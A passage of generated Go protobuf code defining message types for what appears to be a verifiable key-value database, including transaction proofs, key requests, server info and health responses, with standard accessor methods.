&file_schema_proto_msgTypes[38]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableTxV2) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableTxV2) ProtoMessage() {}\n\nfunc (x *VerifiableTxV2) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[38]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableTxV2.ProtoReflect.Descriptor instead.\nfunc (*VerifiableTxV2) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{38}\n}\n\nfunc (x *VerifiableTxV2) GetTx() *Tx {\n\tif x != nil {\n\t\treturn x.Tx\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableTxV2) GetDualProof() *DualProofV2 {\n\tif x != nil {\n\t\treturn x.DualProof\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableTxV2) GetSignature() *Signature {\n\tif x != nil {\n\t\treturn x.Signature\n\t}\n\treturn nil\n}\n\ntype VerifiableEntry struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Entry to verify\n\tEntry *Entry `protobuf:\"bytes,1,opt,name=entry,proto3\" json:\"entry,omitempty\"`\n\t// Transaction to verify\n\tVerifiableTx *VerifiableTx `protobuf:\"bytes,2,opt,name=verifiableTx,proto3\" json:\"verifiableTx,omitempty\"`\n\t// Proof for inclusion of the entry within the transaction\n\tInclusionProof *InclusionProof `protobuf:\"bytes,3,opt,name=inclusionProof,proto3\" json:\"inclusionProof,omitempty\"`\n}\n\nfunc (x *VerifiableEntry) Reset() {\n\t*x = VerifiableEntry{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[39]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableEntry) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableEntry) ProtoMessage() {}\n\nfunc (x *VerifiableEntry) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[39]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableEntry.ProtoReflect.Descriptor instead.\nfunc (*VerifiableEntry) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{39}\n}\n\nfunc (x *VerifiableEntry) GetEntry() *Entry {\n\tif x != nil {\n\t\treturn x.Entry\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableEntry) GetVerifiableTx() *VerifiableTx {\n\tif x != nil {\n\t\treturn x.VerifiableTx\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableEntry) GetInclusionProof() *InclusionProof {\n\tif x != nil {\n\t\treturn x.InclusionProof\n\t}\n\treturn nil\n}\n\ntype InclusionProof struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Index of the leaf for which the proof is generated\n\tLeaf int32 `protobuf:\"varint,1,opt,name=leaf,proto3\" json:\"leaf,omitempty\"`\n\t// Width of the tree at the leaf level\n\tWidth int32 `protobuf:\"varint,2,opt,name=width,proto3\" json:\"width,omitempty\"`\n\t// Proof terms (selected hashes from the tree)\n\tTerms [][]byte `protobuf:\"bytes,3,rep,name=terms,proto3\" json:\"terms,omitempty\"`\n}\n\nfunc (x *InclusionProof) Reset() {\n\t*x = InclusionProof{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[40]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *InclusionProof) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*InclusionProof) ProtoMessage() {}\n\nfunc (x *InclusionProof) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[40]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use InclusionProof.ProtoReflect.Descriptor instead.\nfunc (*InclusionProof) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{40}\n}\n\nfunc (x *InclusionProof) GetLeaf() int32 {\n\tif x != nil {\n\t\treturn x.Leaf\n\t}\n\treturn 0\n}\n\nfunc (x *InclusionProof) GetWidth() int32 {\n\tif x != nil {\n\t\treturn x.Width\n\t}\n\treturn 0\n}\n\nfunc (x *InclusionProof) GetTerms() [][]byte {\n\tif x != nil {\n\t\treturn x.Terms\n\t}\n\treturn nil\n}\n\ntype SetRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// List of KV entries to set\n\tKVs []*KeyValue `protobuf:\"bytes,1,rep,name=KVs,proto3\" json:\"KVs,omitempty\"`\n\t// If set to true, do not wait for indexer to index ne entries\n\tNoWait bool `protobuf:\"varint,2,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n\t// Preconditions to be met to perform the write\n\tPreconditions []*Precondition `protobuf:\"bytes,3,rep,name=preconditions,proto3\" json:\"preconditions,omitempty\"`\n}\n\nfunc (x *SetRequest) Reset() {\n\t*x = SetRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[41]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SetRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SetRequest) ProtoMessage() {}\n\nfunc (x *SetRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[41]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SetRequest.ProtoReflect.Descriptor instead.\nfunc (*SetRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{41}\n}\n\nfunc (x *SetRequest) GetKVs() []*KeyValue {\n\tif x != nil {\n\t\treturn x.KVs\n\t}\n\treturn nil\n}\n\nfunc (x *SetRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\nfunc (x *SetRequest) GetPreconditions() []*Precondition {\n\tif x != nil {\n\t\treturn x.Preconditions\n\t}\n\treturn nil\n}\n\ntype KeyRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Key to query for\n\tKey []byte `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// If > 0, query for the value exactly at given transaction\n\tAtTx uint64 `protobuf:\"varint,2,opt,name=atTx,proto3\" json:\"atTx,omitempty\"`\n\t// If 0 (and noWait=false), wait for the index to be up-to-date,\n\t// If > 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed\n\tSinceTx uint64 `protobuf:\"varint,3,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n\t// If set to true - do not wait for any indexing update considering only the currently indexed state\n\tNoWait bool `protobuf:\"varint,4,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n\t// If > 0, get the nth version of the value, 1 being the first version, 2 being the second and so on\n\t// If < 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on\n\tAtRevision int64 `protobuf:\"varint,5,opt,name=atRevision,proto3\" json:\"atRevision,omitempty\"`\n}\n\nfunc (x *KeyRequest) Reset() {\n\t*x = KeyRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[42]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *KeyRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*KeyRequest) ProtoMessage() {}\n\nfunc (x *KeyRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[42]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use KeyRequest.ProtoReflect.Descriptor instead.\nfunc (*KeyRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{42}\n}\n\nfunc (x *KeyRequest) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *KeyRequest) GetAtTx() uint64 {\n\tif x != nil {\n\t\treturn x.AtTx\n\t}\n\treturn 0\n}\n\nfunc (x *KeyRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *KeyRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\nfunc (x *KeyRequest) GetAtRevision() int64 {\n\tif x != nil {\n\t\treturn x.AtRevision\n\t}\n\treturn 0\n}\n\ntype KeyListRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// List of keys to query for\n\tKeys [][]byte `protobuf:\"bytes,1,rep,name=keys,proto3\" json:\"keys,omitempty\"`\n\t// If 0, wait for index to be up-to-date,\n\t// If > 0, wait for at least sinceTx transaction to be indexed\n\tSinceTx uint64 `protobuf:\"varint,2,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n}\n\nfunc (x *KeyListRequest) Reset() {\n\t*x = KeyListRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[43]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *KeyListRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*KeyListRequest) ProtoMessage() {}\n\nfunc (x *KeyListRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[43]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use KeyListRequest.ProtoReflect.Descriptor instead.\nfunc (*KeyListRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{43}\n}\n\nfunc (x *KeyListRequest) GetKeys() [][]byte {\n\tif x != nil {\n\t\treturn x.Keys\n\t}\n\treturn nil\n}\n\nfunc (x *KeyListRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\ntype DeleteKeysRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// List of keys to delete logically\n\tKeys [][]byte `protobuf:\"bytes,1,rep,name=keys,proto3\" json:\"keys,omitempty\"`\n\t// If 0, wait for index to be up-to-date,\n\t// If > 0, wait for at least sinceTx transaction to be indexed\n\tSinceTx uint64 `protobuf:\"varint,2,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n\t// If set to true, do not wait for the indexer to index this operation\n\tNoWait bool `protobuf:\"varint,3,opt,name=noWait,proto3\" json:\"noWait,omitempty\"`\n}\n\nfunc (x *DeleteKeysRequest) Reset() {\n\t*x = DeleteKeysRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[44]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteKeysRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DeleteKeysRequest) ProtoMessage() {}\n\nfunc (x *DeleteKeysRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[44]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteKeysRequest.ProtoReflect.Descriptor instead.\nfunc (*DeleteKeysRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{44}\n}\n\nfunc (x *DeleteKeysRequest) GetKeys() [][]byte {\n\tif x != nil {\n\t\treturn x.Keys\n\t}\n\treturn nil\n}\n\nfunc (x *DeleteKeysRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *DeleteKeysRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\ntype VerifiableSetRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Keys to set\n\tSetRequest *SetRequest `protobuf:\"bytes,1,opt,name=setRequest,proto3\" json:\"setRequest,omitempty\"`\n\t// When generating the proof, generate consistency proof with state from this transaction\n\tProveSinceTx uint64 `protobuf:\"varint,2,opt,name=proveSinceTx,proto3\" json:\"proveSinceTx,omitempty\"`\n}\n\nfunc (x *VerifiableSetRequest) Reset() {\n\t*x = VerifiableSetRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[45]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableSetRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableSetRequest) ProtoMessage() {}\n\nfunc (x *VerifiableSetRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[45]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableSetRequest.ProtoReflect.Descriptor instead.\nfunc (*VerifiableSetRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{45}\n}\n\nfunc (x *VerifiableSetRequest) GetSetRequest() *SetRequest {\n\tif x != nil {\n\t\treturn x.SetRequest\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSetRequest) GetProveSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.ProveSinceTx\n\t}\n\treturn 0\n}\n\ntype VerifiableGetRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Key to read\n\tKeyRequest *KeyRequest `protobuf:\"bytes,1,opt,name=keyRequest,proto3\" json:\"keyRequest,omitempty\"`\n\t// When generating the proof, generate consistency proof with state from this transaction\n\tProveSinceTx uint64 `protobuf:\"varint,2,opt,name=proveSinceTx,proto3\" json:\"proveSinceTx,omitempty\"`\n}\n\nfunc (x *VerifiableGetRequest) Reset() {\n\t*x = VerifiableGetRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[46]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableGetRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableGetRequest) ProtoMessage() {}\n\nfunc (x *VerifiableGetRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[46]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableGetRequest.ProtoReflect.Descriptor instead.\nfunc (*VerifiableGetRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{46}\n}\n\nfunc (x *VerifiableGetRequest) GetKeyRequest() *KeyRequest {\n\tif x != nil {\n\t\treturn x.KeyRequest\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableGetRequest) GetProveSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.ProveSinceTx\n\t}\n\treturn 0\n}\n\n// ServerInfoRequest exists to provide extensibility for rpc ServerInfo.\ntype ServerInfoRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *ServerInfoRequest) Reset() {\n\t*x = ServerInfoRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[47]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ServerInfoRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ServerInfoRequest) ProtoMessage() {}\n\nfunc (x *ServerInfoRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[47]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ServerInfoRequest.ProtoReflect.Descriptor instead.\nfunc (*ServerInfoRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{47}\n}\n\n// ServerInfoResponse contains information about the server instance.\ntype ServerInfoResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// The version of the server instance.\n\tVersion string `protobuf:\"bytes,1,opt,name=version,proto3\" json:\"version,omitempty\"`\n\t// Unix timestamp (seconds) indicating when the server process has been started.\n\tStartedAt int64 `protobuf:\"varint,2,opt,name=startedAt,proto3\" json:\"startedAt,omitempty\"`\n\t// Total number of transactions across all databases.\n\tNumTransactions int64 `protobuf:\"varint,3,opt,name=numTransactions,proto3\" json:\"numTransactions,omitempty\"`\n\t// Total number of databases present.\n\tNumDatabases int32 `protobuf:\"varint,4,opt,name=numDatabases,proto3\" json:\"numDatabases,omitempty\"`\n\t// Total disk size used by all databases.\n\tDatabasesDiskSize int64 `protobuf:\"varint,5,opt,name=databasesDiskSize,proto3\" json:\"databasesDiskSize,omitempty\"`\n}\n\nfunc (x *ServerInfoResponse) Reset() {\n\t*x = ServerInfoResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[48]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ServerInfoResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ServerInfoResponse) ProtoMessage() {}\n\nfunc (x *ServerInfoResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[48]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ServerInfoResponse.ProtoReflect.Descriptor instead.\nfunc (*ServerInfoResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{48}\n}\n\nfunc (x *ServerInfoResponse) GetVersion() string {\n\tif x != nil {\n\t\treturn x.Version\n\t}\n\treturn \"\"\n}\n\nfunc (x *ServerInfoResponse) GetStartedAt() int64 {\n\tif x != nil {\n\t\treturn x.StartedAt\n\t}\n\treturn 0\n}\n\nfunc (x *ServerInfoResponse) GetNumTransactions() int64 {\n\tif x != nil {\n\t\treturn x.NumTransactions\n\t}\n\treturn 0\n}\n\nfunc (x *ServerInfoResponse) GetNumDatabases() int32 {\n\tif x != nil {\n\t\treturn x.NumDatabases\n\t}\n\treturn 0\n}\n\nfunc (x *ServerInfoResponse) GetDatabasesDiskSize() int64 {\n\tif x != nil {\n\t\treturn x.DatabasesDiskSize\n\t}\n\treturn 0\n}\n\ntype HealthResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// If true, server considers itself to be healthy\n\tStatus bool `protobuf:\"varint,1,opt,name=status,proto3\" json:\"status,omitempty\"`\n\t// The version of the server instance\n\tVersion string `protobuf:\"bytes,2,opt,name=version,proto3\" json:\"version,omitempty\"`\n}\n\nfunc (x *HealthResponse) Reset() {\n\t*x = HealthResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[49]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *HealthResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*HealthResponse) ProtoMessage() {}\n\nfunc (x *HealthResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[49]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use HealthResponse.ProtoReflect.Descriptor instead.\nfunc (*HealthResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{49}\n}\n\nfunc (x *HealthResponse) GetStatus() bool {\n\tif x != nil {\n\t\treturn x.Status\n\t}\n\treturn false\n}\n\nfunc (x *HealthResponse) GetVersion() string {\n\tif x != nil {\n\t\treturn x.Version\n\t}\n\treturn \"\"\n}\n\ntype DatabaseHealthResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Number of requests currently being executed\n\tPendingRequests uint32 `protobuf:\"varint,1,opt,name=pendingRequests,proto3\" json:\"pendingRequests,omitempty\"`\n\t// Timestamp at which the last request was completed\n\tLastRequestCompletedAt int64 `protobuf:\"varint,2,opt,name=lastRequestCompletedAt,proto3\" json:\"lastRequestCompletedAt,omitempty\"`\n}\n\nfunc (x *DatabaseHealthResponse) Reset() {\n\t*x = DatabaseHealthResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[50]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseHealthResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseHealthResponse) ProtoMessage() {}\n\nfunc (x *DatabaseHealthResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[50]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseHealthResponse.ProtoReflect.Descriptor instead.\nfunc (*DatabaseHealthResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{50}\n}\n\nfunc (x *DatabaseHealthResponse) GetPendingRequests() uint32 {\n\tif x != nil {\n\t\treturn x.PendingRequests\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseHealthResponse) GetLastRequestCompletedAt() int64 {\n\tif x != nil {\n\t\treturn x.LastRequestCompletedAt\n\t}\n\treturn 0\n}\n\ntype ImmutableState struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// The db name\n\tDb string `protobuf:\"bytes,1,opt,name=db,proto3\" json:\"db,omitempty\"`\n\t// Id of the most recent transaction\n\tTxId uint64 `protobuf:\"varint,2,opt,name=txId,proto3\" json:\"txId,omitempty\"`\n\t// State of the most recent transaction\n\tTxHash []byte `protobuf:\"bytes,3,opt,name=txHash,proto3\" json:\"txHash,omitempty\"`\n\t// Signature of the hash\n\tSignature *Signature `protobuf:\"bytes,4,opt,name=signature,proto3\" json:\"signature,omitempty\"`\n\t// Id of the most recent precommitted transaction\n\tPrecommittedTxId uint64 `protobuf:\"varint,5,opt,name=precommittedTxId,proto3\" json:\"precommittedTxId,omitempty\"`\n\t// State of the most recent precommitted transaction\n\tPrecommittedTxHash []byte `protobuf:\"bytes,6,opt,name=precommittedTxHash,proto3\" json:\"precommittedTxHash,omitempty\"`\n}\n\nfunc (x *ImmutableState) Reset() {\n\t*x = ImmutableState{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[51]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ImmutableState) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ImmutableState) ProtoMessage() {}\n\nfunc (x *ImmutableState) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[51]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ImmutableState.ProtoReflect.Descriptor instead.\nfunc (*ImmutableState) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{51}\n}\n\nfunc (x *ImmutableState) GetDb() string {\n\tif x != nil {\n\t\treturn x.Db\n\t}\n\treturn \"\"\n}\n\nfunc (x *ImmutableState) GetTxId() uint64 {\n\tif x != nil {\n\t\treturn x.TxId\n\t}\n\treturn 0\n}\n\nfunc (x *ImmutableState) GetTxHash() []byte {\n\tif x != nil {\n\t\treturn x.TxHash\n\t}\n\treturn nil\n}\n\nfunc (x *ImmutableState) GetSignature() *Signature {\n\tif x != nil {\n\t\treturn x.Signature\n\t}\n\treturn nil\n}\n\nfunc (x *ImmutableState) GetPrecommittedTxId() uint64 {\n\tif x != nil {\n\t\treturn x.PrecommittedTxId\n\t}\n\treturn 0\n}\n\nfunc (x *ImmutableState) GetPrecommittedTxHash() []byte {\n\tif x != nil {\n\t\treturn x.PrecommittedTxHash\n\t}\n\treturn nil\n}\n\ntype ReferenceRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Key for the reference\n\tKey []byte `protobuf:\"bytes,1,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// Key to be referenced\n\tReferencedKey []byte `protobuf:\"bytes,2,opt,name=referencedKey,proto3\" json:\"referencedKey,omitempty\"`\n\t// If boundRef == true, id of transaction to bind with the reference\n\tAtTx uint64 `protobuf:\"varint,3,opt,name=atTx,proto3\" json:\"atTx,omitempty\"`\n\t// If true, bind the reference to particular transaction,\n\t// if false, use the most recent value of the key\n\tBoundRef bool `protobuf:\"varint,4,opt,name=boundRef,proto3\" 